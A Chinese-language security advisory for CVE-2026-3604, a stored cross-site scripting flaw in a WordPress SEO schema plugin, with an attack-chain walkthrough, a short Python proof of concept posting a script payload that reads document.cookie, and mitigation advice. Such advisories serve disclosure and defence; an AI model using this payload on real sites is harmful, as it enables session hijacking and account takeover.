CVE-2026-3604: WP SEO Structured Data Schema 插件存储型跨站脚本漏洞

漏洞信息

漏洞编号

CVE-2026-3604

漏洞类型

存储型跨站脚本 (Stored XSS)

CVSS评分

4.9 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WP SEO Structured Data Schema Plugin (WordPress)

漏洞概述

WordPress 插件 WP SEO Structured Data Schema 在 2.8.1 及之前的所有版本中存在存储型跨站脚本（XSS）漏洞。该漏洞源于插件未能对 `_kcseo_ative_tab` 参数进行充分的输入清理和输出转义。具有 Contributor（投稿者）级别及以上权限的经过身份验证的攻击者可以利用此漏洞，在受影响的页面中注入任意 Web 脚本。一旦管理员或其他用户访问了被注入的页面，恶意脚本将在其浏览器中执行，从而导致潜在的账户劫持、恶意重定向或敏感信息窃取。

技术细节

该漏洞的核心在于 WP SEO Structured Data Schema 插件处理用户输入时的安全机制缺失。具体来说，插件在处理 `_kcseo_ative_tab` 参数时，未对该参数传递的数据进行严格的输入验证和消毒，也未在输出到 HTML 页面时进行适当的上下文感知转义。攻击者利用此漏洞，首先需要获取一个具有 Contributor 或更高级别权限的 WordPress 账户。随后，攻击者可以构造包含恶意 JavaScript 代码的 payload，并将其赋值给 `_kcseo_ative_tab` 参数发送给服务器。由于缺乏输出转义，这段恶意代码会被存储在服务器的数据库中（通常存储在文章元数据或插件配置中）。当其他用户（特别是管理员）访问包含该受污染数据的页面时，服务器会直接将未经过滤的恶意脚本返回给浏览器。浏览器将其解析为可执行代码，从而在受害者的上下文中运行。这种存储型 XSS 攻击具有持久性，攻击者无需诱骗用户点击特定链接，只需等待用户访问受感染的页面即可触发攻击。

攻击链分析

STEP 1

侦察与准备

攻击者确认目标网站安装了 WP SEO Structured Data Schema 插件，且版本在 2.8.1 或以下。

STEP 2

获取权限

攻击者通过注册、社会工程学或其他手段获取一个具有 Contributor（投稿者）或更高级别权限的 WordPress 账户凭证。

STEP 3

注入 Payload

攻击者使用该账户登录，向服务器发送包含恶意 JavaScript 代码的请求，将 payload 填入 `_kcseo_ative_tab` 参数。由于缺乏清理，该 payload 被存储在数据库中。

STEP 4

触发漏洞

当管理员或其他具有高权限的用户访问包含该被污染数据的页面时，服务器从数据库读取未转义的数据并渲染到 HTML 中。

STEP 5

执行攻击

受害者的浏览器解析并执行注入的恶意脚本。攻击者可利用此窃取 Session Cookie、重定向用户或进行进一步的操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (example)
target_url = "http://example.com/wp-admin/admin.php"

# Vulnerable parameter and payload
# The payload attempts to execute JavaScript via the _kcseo_ative_tab parameter
payload = '"><script>alert("XSS-"+document.cookie)</script>'

data = {
    "_kcseo_ative_tab": payload,
    # Other necessary parameters to save the state
    "action": "save_settings"
}

# Cookies for an authenticated user with Contributor privileges or higher
cookies = {
    "wordpress_logged_in_hash": "..."
}

response = requests.post(target_url, data=data, cookies=cookies)

if response.status_code == 200:
    print("[+] Payload potentially injected successfully.")
    print("[+] Check the relevant page to trigger the XSS.")
else:
    print("[-] Injection failed.")

影响范围

WP SEO Structured Data Schema <= 2.8.1

防御指南

临时缓解措施

如果无法立即更新插件，建议暂时卸载该插件或限制非管理员用户的访问权限。同时，部署 Web 应用防火墙（WAF）规则，以检测和拦截针对 `_kcseo_ative_tab` 参数的恶意脚本注入尝试。管理员应定期审查网站的异常内容和日志。